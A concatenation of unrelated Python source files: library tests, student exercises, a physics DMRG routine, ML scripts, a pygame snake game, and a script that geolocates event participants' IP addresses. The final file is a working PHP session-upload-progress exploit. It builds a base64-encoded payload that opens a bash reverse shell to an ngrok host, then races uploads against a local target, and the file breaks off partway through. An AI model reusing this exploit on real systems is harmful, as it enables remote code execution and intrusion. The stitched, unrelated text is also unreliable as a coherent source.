"""Test the Settings service API.
"""
import io
import csv
import json
import mimetypes

import pytest
import mistune

from .. import LicensesApp
from ..licenses_handler import DEFAULT_THIRD_PARTY_LICENSE_FILE

# utilities

FULL_ENTRY = (
    ("name", "@jupyterlab/foo"),
    ("versionInfo", "0.0.1"),
    ("licenseId", "BSD-3-Clause"),
    ("extractedText", "> license text goes here"),
)

def _read_csv(csv_text):
    with io.StringIO() as csvfile:
        csvfile.write(csv_text)
        csvfile.seek(0)
        return [*csv.DictReader(csvfile)]

def _make_static_dir(
    app, tmp_path, has_licenses=True, license_json=None, package_in_app=False
):
    app_dir = tmp_path / "app"
    static_dir = app_dir / "static"
    static_dir.mkdir(parents=True)

    package_text = json.dumps({"name": "@jupyterlab/top", "version": "0.0.1"})
    package_json = (app_dir if package_in_app else static_dir) / "package.json"
    package_json.write_text(package_text, encoding="utf-8")

    if has_licenses:
        (static_dir / DEFAULT_THIRD_PARTY_LICENSE_FILE).write_text(
            license_json or _good_license_json(),
            encoding="utf-8",
        )

    setattr(app, "static_dir", str(static_dir))

def _good_license_json():
    return json.dumps(
        {"packages": [dict(FULL_ENTRY[:i]) for i in range(1 + len(FULL_ENTRY))]}
    )

@pytest.fixture(
    params=[
        ["application/json", "json", json.loads],
        ["text/csv", "csv", _read_csv],
        ["text/markdown", "markdown", mistune.markdown],
    ]
)
def mime_format_parser(request):
    return request.param

@pytest.fixture(params=[True, False])
def has_licenses(request):
    return request.param

@pytest.fixture
def licenses_app(tmp_path, has_licenses):
    app = LicensesApp()
    _make_static_dir(app, tmp_path, has_licenses)
    return app

# the actual tests

@pytest.mark.parametrize("has_static_dir", [True, False])
@pytest.mark.parametrize("full_text", ["true", "false"])
@pytest.mark.parametrize("bundles_pattern", ["", "@jupyterlab/.*", "nothing"])
async def test_get_license_report(
    mime_format_parser,
    has_static_dir,
    has_licenses,
    full_text,
    bundles_pattern,
    jp_fetch,
    labserverapp,
    tmp_path,
):
    if has_static_dir:
        _make_static_dir(labserverapp, tmp_path, has_licenses)
    mime, fmt, parse = mime_format_parser
    params = {"format": fmt, "full_text": full_text}
    if bundles_pattern:
        params["bundles"] = bundles_pattern
    r = await jp_fetch("lab", "api", "licenses/", params=params)
    assert r.code == 200
    assert r.headers["Content-type"] == mime
    res = r.body.decode()
    assert parse(res) is not None

async def test_download_license_report(
    jp_fetch,
    labserverapp,
    mime_format_parser,
):
    mime, fmt, parse = mime_format_parser
    params = {"format": fmt, "download": "1"}
    r = await jp_fetch("lab", "api", "licenses/", params=params)
    assert r.code == 200
    assert r.headers["Content-type"] == mime
    extension = mimetypes.guess_extension(mime)
    assert extension, f"no extension guessed for {mime}"
    assert extension in r.headers["Content-Disposition"], f"{r.headers}"

async def test_dev_mode_license_report(
    jp_fetch,
    labserverapp,
    tmp_path,
):
    _make_static_dir(labserverapp, tmp_path, package_in_app=True)
    r = await jp_fetch("lab", "api", "licenses/")
    assert r.code == 200

@pytest.mark.parametrize(
    "license_json",
    [
        "// leading comment\n" + _good_license_json(),
        _good_license_json().replace("packages", "whatever"),
    ],
)
async def test_malformed_license_report(
    license_json,
    mime_format_parser,
    jp_fetch,
    labserverapp,
    tmp_path,
):
    _make_static_dir(labserverapp, tmp_path, license_json=license_json)
    mime, fmt, parse = mime_format_parser
    r = await jp_fetch("lab", "api", "licenses/")
    assert r.code == 200

async def test_licenses_cli(licenses_app, capsys, mime_format_parser):
    mime, fmt, parse = mime_format_parser
    args = []
    if fmt != "markdown":
        args += [f"--{fmt}"]
    licenses_app.initialize(args)

    with pytest.raises(SystemExit) as exited:
        licenses_app.start()

    assert exited.type == SystemExit
    assert exited.value.code == 0

    captured = capsys.readouterr()
    assert parse(captured.out) is not None


sel=int(input('''Sum of 'n' natural numbers-1
Multiplication of a number 'm' with its 'n' multiples-2
Exit-3
Enter Your desired option.''')) #Sel=Selector.

#Sum of 'n' natural numbers:
if sel==1:
    n=int(input("Enter the number of natural numbers to be added:"))
    s=0
    for i in range(1,n+1):
        s+=i
    print("The sum of the natural numbers till",n,"is",s)

#Multiplying 'm' with 'n':
if sel==2:
    m=int(input("Enter the number to be multiplied:"))
    n=int(input("Enter the number of multiples of the number:"))
    for i in range(1,n+1):
        print(m,"times",i,"is:",m*i)

#ExIt, ExIt NoW:
if sel==3:
    print("Come back later!")

Class XI- Python Programs/Program List/Menu Driven Code 2.py


# -*- coding: utf-8 -*-
"""
Created on Thu May  7 11:16:50 2020

@author: tinal
"""

import unittest
from carApplicationFleet_CA2 import *
from carApplicationCustomer_CA2 import *
from carApplicationBilling_CA2 import *

class TestCar(unittest.TestCase):
    def test_move(self):
        car = Car()
        car.move(5)
        result = car.getMileage()
        self.assertEqual(result, 5)

    def test_paint(self):
        car = Car()
        car.paint('red')
        result = car.getColour()
        self.assertEqual(result, 'red')

class TestFleetCar(unittest.TestCase):
    def test_checkCarsInStock(self):
        carFleet = CarFleet()
        result = carFleet.checkCarsInStock()
        self.assertEqual(result, [20, 10, 6, 4, 0, 0, 0, 0])

    def test_rent(self):
        carFleet = CarFleet()
        carFleet.rent('P', 3)
        result = carFleet.checkCarsInStock()
        self.assertEqual(result, [17, 10, 6, 4, 3, 0, 0, 0])

    def test_returnCar(self):
        carFleet = CarFleet()
        result = carFleet.returnCar('P', 3)
        self.assertEqual(result, False)

if __name__ == "__main__":
    unittest.main()


def dmrg_BooB(indict,integrate_right=True):
    """Perform a single DMRG step"""
    outdict = deepcopy(indict) # output dictionary
    rs = indict["right_site_coupling"] # coupling in the right site
    ls = indict["left_site_coupling"] # coupling in the left site
    crs = indict["right_block_coupling"] # coupling to the right bloxk
    cls = indict["left_block_coupling"] # coupling to the left block
    hr = indict["right_block"] # right hamiltonian
    hl = indict["left_block"] # left hamiltonian
    rons = indict["right_site"] # left hamiltonian
    lons = indict["left_site"] # left hamiltonian
    nstates = indict["number_of_states"] # number of states retained
    target = indict["target_states"] # number of target states
    # perform the calculation
    diml = ls[0].shape[0] # left site dimension
    dimr = rs[0].shape[0] # right site dimension
    dimc = hr.shape[0] # dimension of the block
    idc = sp.eye(hr.shape[0],dtype=np.complex_) # block identity operator
    idl = sp.eye(diml,dtype=np.complex_) # block identity operator
    idr = sp.eye(dimr,dtype=np.complex_) # block identity operator
    # couple site to right block
    hr = tensorial_operator(idr,hr) # block+right site
    if not rons is None: # add right onsite
      hr = hr + tensorial_operator(rons,idc) # onsite of the new rigth site
    hr = hr + coupled_hamiltonian(rs,crs) # couple right site to block
    rs = [tensorial_operator(r,idc) for r in rs] # right site to block
    # couple site to left block
    hl = tensorial_operator(idl,hl) # block+left site
    if not lons is None: # add left onsite
      hl = hl + tensorial_operator(lons,idc) # onsite of the new left site
    hl = hl + coupled_hamiltonian(ls,cls) # couple site to block
    ls = [tensorial_operator(l,idc) for l in ls] # left site to block
    # now couple the two halves
    idr2 = sp.eye(hr.shape[0],dtype=np.complex_) # right identity operator
    idl2 = sp.eye(hl.shape[0],dtype=np.complex_) # right identity operator
# left and right parts
    h = tensorial_operator(hl,idr2) + tensorial_operator(idl2,hr)
#    print(np.sum(hl-hr))
    htwo = coupled_hamiltonian(ls,rs) # left times right
    h = h + htwo # couple left and right sites
    # ground state and project on DMRG manifold
    e0,wf0 = ground_state(h,v0=None,target=target) # get the smallest state
    sisj = spectrum.exp_val(wf0,csc_matrix(htwo)) # calculate the correlator
    dmat = trace_over(wf0,dimc*diml,dimc*dimr) # trace over right site + block
    entropy = get_entropy(dmat)
    # now look for the relevant subspace
    R = states_dmat(dmat,nstates=nstates) # get the proj onto the main space
    # put the right and left couplings in the full basis
    new_crs = [project(c,R) for c in rs] # right block operators, projected
    new_hr = project(hr,R) # right block Hamiltonian, projected
    new_hl = project(hl,R) # left block Hamiltonian, projected
    new_cls = [project(c,R) for c in ls] # left block operators, projected
    # store the results
    outdict["energy"] = e0
    outdict["correlator"] = sisj
    outdict["entropy"] = entropy
    outdict["right_block_coupling"] = new_crs # coupling to the right bloxk
    outdict["left_block_coupling"] = new_cls # coupling to the left block
    outdict["right_block"] = new_hr # right hamiltonian
    outdict["left_block"] = new_hl # left hamiltonian
    outdict["right_site"] = rons # right site hamiltonian
    outdict["left_site"] = lons # left site hamiltonian
    outdict["length"] += 2 # the length if the chain has increased by 2 units
    # function to express a certain operator in the new basis
    def old2new(A,site="left_block"):
      """Project a certain operator into the new basis"""
      if site=="left_block": # for right blocks
        B = tensorial_operator(idl,A)
        Id = tensorial_operator(idr,idc)
        B = tensorial_operator(B,Id) # operator in new basis
      else: raise # not considered
      return project(B,R) # project the operator
    return outdict # return the dictionary


from typing import Dict, List

import pytest

from plugins.environments.environment import Environment
from plugins.interfaces.interface import Interface

class DummyInterface(Interface):
    def set_channels(self, channel_inputs: Dict[str, float]):
        pass

    def get_channels(self, channels: List[str]) -> Dict[str, float]:
        pass

class TestEnvironment:
    def test_environment_creation(self):
        variables = {"x": [0, 1], "y": [0, 2]}
        observables = ["z"]
        params = {"a": 1, "b": 2}

        interface = DummyInterface(name="test_interface")
        env = Environment(
            name="test_env",
            variables=variables,
            observables=observables,
            interface=interface,
            params=params,
        )

        assert env.name == "test_env"
        assert env.interface == interface
        assert env.variables == variables
        assert env.observables == observables
        assert env.params == params

    def test_environment_creation_without_params(self):
        variables = {"x": [0, 1], "y": [0, 2]}
        observables = ["z"]
        params = {"a": 1, "b": 2}

        interface = DummyInterface(name="test_interface")
        env = Environment(
            name="test_env",
            variables=variables,
            observables=observables,
            interface=interface,
        )

        assert env.name == "test_env"
        assert env.interface == interface
        assert env.variables == variables
        assert env.observables == observables

    def test_interface_creation_with_invalid_bounds(self):
        variables = {"x": [1, 0], "y": [0, 2]}
        observables = ["z"]

        interface = DummyInterface(name="test_interface")
        with pytest.raises(ValueError):
            Environment(
                name="test_env",
                variables=variables,
                observables=observables,
                interface=interface,
            )

    def test_get_variables(self):
        variables = {"x": [0, 1], "y": [0, 2]}
        observables = ["z"]
        params = {"a": 1, "b": 2}

        interface = DummyInterface(name="test_interface")
        env = Environment(
            name="test_env",
            variables=variables,
            observables=observables,
            interface=interface,
            params=params,
        )

        # Test getting multiple variables
        env.get_variables(["x", "y"])

        # Test getting an invalid variable
        with pytest.raises(ValueError):
            env.get_variables(["x", "z"])


import json
import os
from argparse import ArgumentParser
from tqdm import tqdm
import glob

def find_anns(anno, id):
    img_w = 640
    img_h = 640
    out = []
    for i in anno:
        img_id = i["image_id"]
        bbox = i["bbox"]
        cat = i["category_id"]
        if img_id == id:
            x = bbox[0]
            y = bbox[1]
            w = bbox[2]
            h = bbox[3]

            x_center = (x + (x + w)) / 2
            y_center = (y + (y + h)) / 2

            x_center = x_center / img_w
            y_center = y_center / img_h
            w = w / img_w
            h = h / img_h

            x_center = format(x_center, '.6f')
            y_center = format(y_center, '.6f')
            w = format(w, '.6f')
            h = format(h, '.6f')
            cat = cat - 1
            out.append([cat, x_center, y_center, w, h])
    return out

if __name__ == '__main__':
    parser = ArgumentParser()
    parser.add_argument("-m", "--mode", type=str, default="val", help="choose the mode of created dataset if train, val, or test")
    parser.add_argument("-p", "--path", type=str, default="./challenge/annotations/instances_val.json",
                        help="path of the annotations of chosen dataset mode as json")
    parser.add_argument("-s", "--save", type=str, default="./yolov5/datasets/labels/val/",
                        help="path of images created to save as txt yolo format")
    parser.add_argument("-i", "--image", type=str, default="./yolov5/datasets/images/val/",
                        help="path of images created to save as txt yolo format")

    args = vars(parser.parse_args())
    mode = args["mode"]
    path = args["path"]
    save_path = args["save"]
    image_path = args["image"]

    imgs = glob.glob(image_path + "*.jpg")
    imgs_num = sorted([int(i.split("_")[-1][0:-4]) for i in imgs])

    if not os.path.exists(save_path):
        os.makedirs(save_path)

    with open(path, "r") as f:
        data = json.load(f)
    anno = data["annotations"]

    anno_ind = 0
    classes = ["bolt", "nut"]
    change = True
    temp = -1

    for image in tqdm(imgs_num):
        if image == temp:
            name = f"im_r_{image}.txt"
        else:
            name = f"im_{image}.txt"
        out = find_anns(anno, image)
        if out == []:
            f = open(save_path + name, "w")
        else:
            f = open(save_path + name, "w")
            for v in range(len(out)):
                if v != len(out) - 1:
                    for w in range(len(out[v])):
                        if w != len(out[v]) - 1:
                            f.write(str(out[v][w]) + " ")
                        else:
                            f.write(str(out[v][w]) + "\n")
                else:
                    for w in range(len(out[v])):
                        if w != len(out[v]) - 1:
                            f.write(str(out[v][w]) + " ")
                        else:
                            f.write(str(out[v][w]))
        anno_ind += 1
        if anno_ind > 0:
            temp = image
        f.close()


#!/usr/bin/env python
import numpy as np
import pandas as pd
import keras
import timeit
import copy
import gc
import scipy as sp
import cv2
import os
import random
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import LabelEncoder
from keras.models import Sequential
from keras.optimizers import Adam
from keras.preprocessing.image import ImageDataGenerator
from keras.callbacks import ModelCheckpoint
from keras.models import Model
from keras.layers import LeakyReLU,concatenate
from keras.layers import Input,Dense, Dropout, Activation,LSTM,GRU,Conv2D,Flatten,MaxPooling2D,BatchNormalization
from keras.regularizers import l1,l2,l1_l2

# Definitions
data_dir = "/home/james/data/FacesKinship/"
train_dir = data_dir + "train/"

modeltype = "cnn"
batch_size=100
width=64
height=64

traindf = pd.read_csv(data_dir+"finaltrain.csv",usecols=['p1','p2','related'])

y = traindf['related']

train_steps = int(traindf.shape[0]/batch_size)

class KinImageReader(keras.utils.Sequence):

    def __init__(self,df,target,batch_size,height,width):

        self.df = df
        self.target = target
        self.width=width
        self.height=height
        self.batch_size = batch_size
        self.on_epoch_end()

    def __len__(self):
        return int(self.df.shape[0]/self.batch_size)

    #def on_epoch_end(self):
    #    'Updates indexes after each epoch'
    #    self.indexes = np.arange(0,self.y.shape[0])

    def __getitem__(self,index):

        start = index*self.batch_size
        end = (index+1)*self.batch_size

        batchy = self.target[start:end]
        image_placeholders = np.arange(start,end)

        x1 = np.array([])
        x1 = np.zeros((len(image_placeholders),self.height,self.width,3))

        x2 = np.array([])
        x2 = np.zeros((len(image_placeholders),self.height,self.width,3))

        counter = 0

        for i in image_placeholders:

            image1 = self.df.loc[i,'p1']
            image2 = self.df.loc[i,'p2']

            #read the image
            cv_image1 = cv2.imread(image1,1)
            cv_image2 = cv2.imread(image2,1)

            #resize the image
            cv_image1 = cv2.resize(cv_image1,(self.width,self.height))
            cv_image2 = cv2.resize(cv_image2,(self.width,self.height))

            # Add to array
            x1[counter] = cv_image1/255
            x2[counter] = cv_image2/255

            counter+=1

        # encode class values as integers
        encoder = LabelEncoder()
        encoder.fit(batchy)
        encoded_y = encoder.transform(batchy)

        return [x1,x2],encoded_y

train_gen = KinImageReader(traindf,y,batch_size,height,width)

inputA = Input(shape=(height,width,3))
inputB = Input(shape=(height,width,3))

# Data from first part of segment
a = Conv2D(128,kernel_size=3,activation='relu')(inputA)
a = Dropout(.3)(a)
a = BatchNormalization()(a)
a = MaxPooling2D(pool_size=(2, 2))(a)

a = Conv2D(96,kernel_size=3,activation='relu')(a)
a = Dropout(.3)(a)
a = BatchNormalization()(a)

a = Conv2D(64,kernel_size=3,activation='relu')(a)
a = Dropout(.3)(a)
a = BatchNormalization()(a)

a = Conv2D(48,kernel_size=3,activation='relu')(a)
a = Dropout(.3)(a)
a = BatchNormalization()(a)

a = Conv2D(32,kernel_size=3,activation='relu')(a)
a = Dropout(.3)(a)
a = BatchNormalization()(a)

a = Conv2D(16,kernel_size=3,activation='relu')(a)
a = Dropout(.3)(a)
a = Flatten()(a)
a = Model(inputs=inputA,outputs=a)

# Data from middle part of segment
b = Conv2D(128,kernel_size=3,activation='relu')(inputB)
b = Dropout(.3)(b)
b = BatchNormalization()(b)
b = MaxPooling2D(pool_size=(2, 2))(b)

b = Conv2D(96,kernel_size=3,activation='relu')(b)
b = Dropout(.3)(b)
b = BatchNormalization()(b)

b = Conv2D(64,kernel_size=3,activation='relu')(b)
b = Dropout(.3)(b)
b = BatchNormalization()(b)

b = Conv2D(48,kernel_size=3,activation='relu')(b)
b = Dropout(.3)(b)
b = BatchNormalization()(b)

b = Conv2D(32,kernel_size=3,activation='relu')(b)
b = Dropout(.3)(b)
b = BatchNormalization()(b)

b = Conv2D(16,kernel_size=3,activation='relu')(b)
b = Dropout(.3)(b)
b = Flatten()(b)
b = Model(inputs=inputB,outputs=b)

combined = concatenate([a.output,b.output])

final = Dense(512,activation='relu')(combined)
final = Dropout(.4)(final)
final = Dense(256,activation='relu')(final)
final = Dropout(.4)(final)
final = Dense(128,activation='relu')(final)
final = Dropout(.4)(final)
final = Dense(64,activation='relu')(final)
final = Dropout(.4)(final)
final = Dense(2, activation="softmax")(final)

model = Model(inputs=[a.input,b.input], outputs=final)

optim = Adam(lr = 0.0001)

model.compile(loss='categorical_crossentropy', optimizer=optim,metrics=['acc'])
model.summary()

best_model = data_dir + modeltype + '_weights_best.hdf5'
current_model = data_dir + modeltype + '_weights_current.hdf5'

model.load_weights(best_model)

test_dir=data_dir + "test/"

testdf = pd.read_csv(data_dir + "sample_submission.csv")

x1 = np.array([])
x1 = np.zeros((testdf.shape[0],height,width,3))

x2 = np.array([])
x2 = np.zeros((testdf.shape[0],height,width,3))

for index,line in testdf.iterrows():
    images = line['img_pair']
    image1,image2 = images.split("-")
    cv_image1 = cv2.imread(test_dir + image1,1)
    cv_image2 = cv2.imread(test_dir + image2,1)

    #resize the image
    cv_image1 = cv2.resize(cv_image1,(width,height))
    cv_image2 = cv2.resize(cv_image2,(width,height))

    # Add to array
    x1[index] = cv_image1/255
    x2[index] = cv_image2/255

prediction = model.predict([x1,x2])
print(prediction)

# Find index of maximum value from 2D numpy array
#result = np.argmax(prediction,axis=1)
testdf.drop(['is_related'], axis=1)

print(prediction[:,1])
testdf['is_related'] = np.round(prediction[:,1],4)

testdf.to_csv("foo.csv",index=False)


from banal import ensure_dict
from memorious.operations.store import directory as memorious_store

from ..incremental import skip_incremental

def store(context, data):
    """
    an extended store to be able to set skip_incremental
    """
    memorious_store(context, data)
    incremental = ensure_dict(data.get("skip_incremental"))
    if incremental.get("target") == context.stage.name:
        if incremental.get("key") is not None:
            context.set_tag(incremental["key"], True)
    # during testing mode, this will end the scraper, if store stage is set as target
    skip_incremental(context, data)


#!/usr/bin/python3

if __name__ == "__main__":
    web_path = "web/"
    html_file = "index.html"
    js_file = "sw.js"
    css_file = "style.css"

    template_file = "htmltemplate.cpp"

    with open(web_path+html_file,"r") as fhtml:
        html = fhtml.readlines()

    with open("sketches/timinggatecontroller/{}".format(template_file),"w") as hf:
        hf.write('#include "htmltemplate.h"\n\n')
        hf.write('namespace HTML\n{\n\n')
        hf.write('const char PROGMEM index[] = R"rawliteral(\n')
        for ln in html:
            if ln.count(css_file) > 0:
                hf.write('    <style>\n')
                with open(web_path+css_file, "r") as css:
                    for ln_css in css.readlines():
                        hf.write('      {}'.format(ln_css))
                hf.write('    </style>\n')
            elif ln.count(js_file) > 0:
                hf.write('    <script>\n')
                with open(web_path+js_file, "r") as js:
                    for ln_js in js.readlines():
                        hf.write('      {}'.format(ln_js))
                hf.write('    </script>\n')
            else:
                hf.write(ln)
        hf.write('\n)rawliteral";\n\n} // namespace HTML\n')


import asyncio
from pathlib import Path
from typing import Dict, Any

import aiohttp
import pandas as pd
from loguru import logger

class RateLimitedException(Exception):
    """Rate api limited exception"""

def load_data_from(filename: str, path: str) -> pd.DataFrame:
    base_path = Path(__file__).resolve().parent
    directory = base_path / path
    current_path = directory / filename
    data_file = pd.read_csv(current_path)
    return data_file

def clean_data(data: pd.DataFrame) -> pd.DataFrame:
    df_copy = data.copy()
    df_copy[["Participante", "IP"]] = df_copy["Nombre;GDPR IP"].str.split(
        ";", expand=True
    )
    return df_copy

async def fetch_location_participan(ip: str) -> Dict[str, Any]:
    async with aiohttp.ClientSession() as session:
        async with session.get(f"http://ip-api.com/json/{ip}") as response:
            logger.debug(f"Status: {response.status}")
            if response.status == 429:
                raise RateLimitedException(f"Could not fetch location this ip: {ip}")

            location = await response.json()
            return location

async def add_location_to_each(records_session: list[Dict]) -> pd.DataFrame:
    waiting_time_request = 20  # seconds
    new_dataframe = pd.DataFrame(columns=["Nombre", "IP", "Pais", "Ciudad", "Region"])
    count = 0
    total_len = len(records_session)
    while len(records_session) > 0:
        ip = records_session[0]["IP"]
        name = records_session[0]["Participante"]
        try:
            location = await fetch_location_participan(ip)
            logger.info(f"Name: {name}, Index:{count} - {location}")
            new_row = {
                "Nombre": name,
                "IP": ip,
                "Pais": location["country"],
                "Ciudad": location["city"],
                "Region": location["regionName"]
            }
            new_dataframe.loc[len(new_dataframe)] = new_row
            count += 1
            records_session.pop(0)  # remove first item
        except RateLimitedException as rt:
            logger.error(rt)
            await asyncio.sleep(waiting_time_request)

        logger.debug(f"Initial len: {total_len}, Current len: {count},  Len DataFrame: {new_dataframe.shape}")
    return new_dataframe

async def main():
    data_virtual_session = load_data_from("Listado_de_participantes_reto_1.csv", 'data')
    data_virtual_session = clean_data(data_virtual_session)
    records_session = data_virtual_session.to_dict(orient="records")
    new_dataframe = await add_location_to_each(records_session)
    new_dataframe.to_excel("./data/output.xlsx", index=False)

if __name__ == "__main__":
    asyncio.run(main())


from black import main
import pygame, sys, random
from pygame.math import Vector2

pygame.init()
cell_grootte = 15
cell_aantal_x = 40
cell_aantal_Y = 30

scherm = pygame.display.set_mode(
    (cell_aantal_x * cell_grootte, cell_aantal_Y * cell_grootte)
)
clock = pygame.time.Clock()
afval = pygame.image.load("foto/vuilniszak.png").convert_alpha()
game_font = pygame.font.SysFont("None", 25)

SCHERM_UPDATE = pygame.USEREVENT
pygame.time.set_timer(SCHERM_UPDATE, 150)

# 1:18 - 1:38
class Collector:
    def __init__(self):
        self.body = [Vector2(5, 10), Vector2(4, 10), Vector2(3, 10)]
        self.richting = Vector2(1, 0)
        self.new_block = False

        self.boris_up = pygame.image.load("foto/borisBack.png").convert_alpha()
        self.boris_down = pygame.image.load("foto/borisFront.png").convert_alpha()
        self.boris_left = pygame.image.load("foto/borisLeft.png").convert_alpha()
        self.boris_right = pygame.image.load("foto/borisRight.png").convert_alpha()

        self.vuilniszak = pygame.image.load("foto/vuilniszak.png").convert_alpha()

        self.tail = pygame.image.load("foto/vuilniszak.png").convert_alpha()

    def draw_collector(self):
        self.update_boris_graphics()
        self.update_tail_graphics()

        for index, block in enumerate(self.body):
            x_positie = int(block.x * cell_grootte)
            y_positie = int(block.y * cell_grootte)
            block_rect = pygame.Rect(x_positie, y_positie, cell_grootte, cell_grootte)

            if index == 0:
                scherm.blit(self.head, block_rect)
            elif index == len(self.body) - 1:
                scherm.blit(self.vuilniszak, block_rect)
            else:
                scherm.blit(self.vuilniszak, block_rect)

    def update_boris_graphics(self):
        boris_richting = self.body[1] - self.body[0]
        if boris_richting == Vector2(1, 0):
            self.head = self.boris_left
        if boris_richting == Vector2(-1, 0):
            self.head = self.boris_right
        if boris_richting == Vector2(0, 1):
            self.head = self.boris_up
        if boris_richting == Vector2(0, -1):
            self.head = self.boris_down

    def update_tail_graphics(self):
        self.tail = self.vuilniszak

    # tail_richting = self.body[-2] - self.body[-1]
    #        if tail_richting == Vector2(1, 0):
    #          self.head = self.tail_left
    #       if tail_richting == Vector2(-1, 0):
    #          self.head = self.tail_right
    #     if tail_richting == Vector2(0, 1):
    #        self.head = self.tail_up
    #   if tail_richting == Vector2(0, -1):
    #      self.head = self.tail_down

    def beweging_collector(self):
        if self.new_block == True:
            body_copy = self.body[:]
            body_copy.insert(0, body_copy[0] + self.richting)
            self.body = body_copy[:]
            self.new_block = False

        else:
            body_copy = self.body[:-1]
            body_copy.insert(0, body_copy[0] + self.richting)
            self.body = body_copy[:]

    def add_block(self):
        self.new_block = True

class Afval:
    def __init__(self):
        self.randomize()

    def draw_afval(self):
        afval_rect = pygame.Rect(
            int(self.positie.x * cell_grootte),
            int(self.positie.y * cell_grootte),
            cell_grootte,
            cell_grootte,
        )

        scherm.blit(afval, afval_rect)

    def randomize(self):
        self.x = random.randint(0, cell_aantal_x - 2)
        self.y = random.randint(0, cell_aantal_Y - 2)
        self.positie = Vector2(self.x, self.y)

class Main_afval:
    def __init__(self):
        self.collector = Collector()
        self.afval = Afval()

    def reset(self):
        self.collector.body = [Vector2(5, 10), Vector2(4, 10), Vector2(3, 10)]
        self.collector.richting = Vector2(1, 0)
        self.collector.new_block = False

    def update(self):
        self.collector.beweging_collector()
        self.check_collision()
        self.check_fail()
        backgr = pygame.image.load("foto/trashworld.png")
        scherm.blit(backgr,(0,0))

    def draw_elementen(self):
        self.afval.draw_afval()
        self.collector.draw_collector()
        self.draw_score()

    def check_collision(self):
        if self.afval.positie == self.collector.body[0]:
            self.afval.randomize()
            self.collector.add_block()
        for block in self.collector.body[1:]:
            if block == self.afval.positie:
                self.afval.randomize()

    def check_fail(self):
        if (
            not 0 <= self.collector.body[0].x < cell_aantal_x
            or not 0 <= self.collector.body[0].y < cell_aantal_Y
        ):
            return True
        for block in self.collector.body[1:]:
            if block == self.collector.body[0]:
                return True

    def win(self):
        if int(len(self.collector.body) - 3) == 15:
            return True

    def draw_score(self):
        score_text = str(len(self.collector.body) - 3)
        score_surface = game_font.render(score_text, True, (56, 74, 12))
        score_x = int(cell_grootte * cell_aantal_x + 60)
        score_y = int(cell_grootte * cell_aantal_Y)
        score_rect = score_surface.get_rect(center=(score_x, score_y))
        afval_rect = afval.get_rect(midright=(score_x - 5, score_rect.centery))
        bg_rect = pygame.Rect(
            afval_rect.left,
            afval_rect.top,
            afval_rect.width + score_rect.width + 5,
            afval_rect.height,
        )
        pygame.draw.rect(scherm, (164, 209, 61), bg_rect)
        scherm.blit(score_surface, score_rect)
        scherm.blit(afval, afval_rect)
        pygame.draw.rect(scherm, (56, 74, 12), bg_rect, 2)

    def afval_run(self, object, events):
        for event in events:
            if event.type == pygame.QUIT:
                pygame.quit()
                sys.exit()
            if event.type == SCHERM_UPDATE:
                self.update()

            if event.type == pygame.KEYDOWN:
                if event.key == pygame.K_UP:
                    if self.collector.richting.y != 1:
                        self.collector.richting = Vector2(0, -1)

                elif event.key == pygame.K_DOWN:
                    if self.collector.richting.y != -1:
                        self.collector.richting = Vector2(0, 1)

                elif event.key == pygame.K_RIGHT:
                    if self.collector.richting.x != -1:
                        self.collector.richting = Vector2(1, 0)

                elif event.key == pygame.K_LEFT:
                    if self.collector.richting.x != 1:
                        self.collector.richting = Vector2(-1, 0)

        object.draw_elementen()


from .main import EWHandler

import threading
import logging
logger = logging.getLogger('backend')

class DataProcessThread(threading.Thread):
    """
        This thread processes the Data from track streams set as inputs using ML/DL algorithms
    """

    def __init__(self, debug=False, use_deep=False, mix=False, display_only=True):
        """ Initiates the Thread

        :param debug: (optional) (default False) a kwarg to set the debug mode
        :param use_deep: (optional) (default False) a kwarg to know if simulation should use deep learning
        :param mix: (optional) (default False) a kwarg to know if simulation should mix the use deep learning and db_scan clustering
        """
        self.mix = mix
        self.debug = debug
        self.use_deep = use_deep
        self.display_only = display_only

        self.handler = EWHandler()
        threading.Thread.__init__(self)

    def set_track_streams(self, *args):
        """
        :param *args: an unpacked list of all TrackStream objects to analyse
        """
        self.track_streams = args

    def set_sender_function(self, sender_function):
        """ Sets the function used by the backend to send data to the frontend

        :param sender_function: the function used by the backend to send data
        """
        self.sender_function = sender_function
        self.handler.set_sender_function(sender_function)

    def set_deep(self, deep):
        """ Changes the value of the use_deep attribute

        :param deep: A boolean, True if simulation should use deep learning, False if not
        """
        self.use_deep = deep

    def set_mix(self, mix):
        """ Changes the value of the mix attribute

        :param mix: A boolean, True if simulation should mix the use deep learning and db_scan clustering, False if not
        """
        self.mix = mix

    def set_display_only(self, display_only):
        """ Changes the value of the display_only attribute

        :param display_only: A boolean, True if simulation should not do any clustering, False if otherwise
        """
        self.display_only = display_only

    def run(self):
        """ Runs the given thread.
        """
        self.handler.main(*self.track_streams, debug=self.debug,
                          use_deep=self.use_deep, mix=self.mix, display_only=self.display_only)
        logger.warning('EWHandler Finished !')
        self.handler = EWHandler()

    def stop_thread(self):
        """
        Stops the thread
        """
        try:
            logger.warning("EWHandler got stop order.")
            self.handler.stop()
            logger.warning("EWHandler stopped.")
            return True
        except Exception as err:
            logger.error(err)
            return False

    def pause(self):
        """
        Pauses the thread (goes into a loop, until unpaused)
        """
        try:
            logger.warning("EWHandler got pause order.")
            self.handler.pause()
            logger.warning("EWHandler paused.")
            return True
        except Exception as err:
            logger.error(err)
            return False

    def play(self):
        """
        Unpauses the thread (leaves the loop)
        """
        try:
            logger.warning("EWHandler got play order.")
            self.handler.play()
            logger.warning("EWHandler restarting.")
            return True
        except Exception as err:
            logger.error(err)
            return False


#!/usr/bin/python
#coding:utf-8

import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool
from threading import Thread

HOST = 'http://localhost:8000/'
sess_name = 'iamorange'

headers = {
    'Connection': 'close',
    'Cookie': 'PHPSESSID=' + sess_name
}

payload = '@<?php `bash -c "sh -i >& /dev/tcp/6.tcp.ngrok.io/17329 0>&1"` ; echo "hey";?>'
while 1:
    junk = ''.join(sample(string.ascii_letters, randint(16, 32)))
    print(junk)
    x = b64encode((payload + junk).encode())
    xx = b64encode(b64encode((payload + junk).encode()))
    xxx = b64encode(b64encode(b64encode((payload + junk).encode())))
    if '=' not in x.decode() and '=' not in xx.decode() and '=' not in xxx.decode():
        payload = xxx
        print(f'[-] Find payload: {payload}')
        break

def runner1():
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload.decode() + 'Z'
    }
    while 1:
        fp = open('/etc/passwd', 'rb')
        r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
        fp.close()

def runner2():
    filename = '/tmp/sess_' + sess_name
    filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
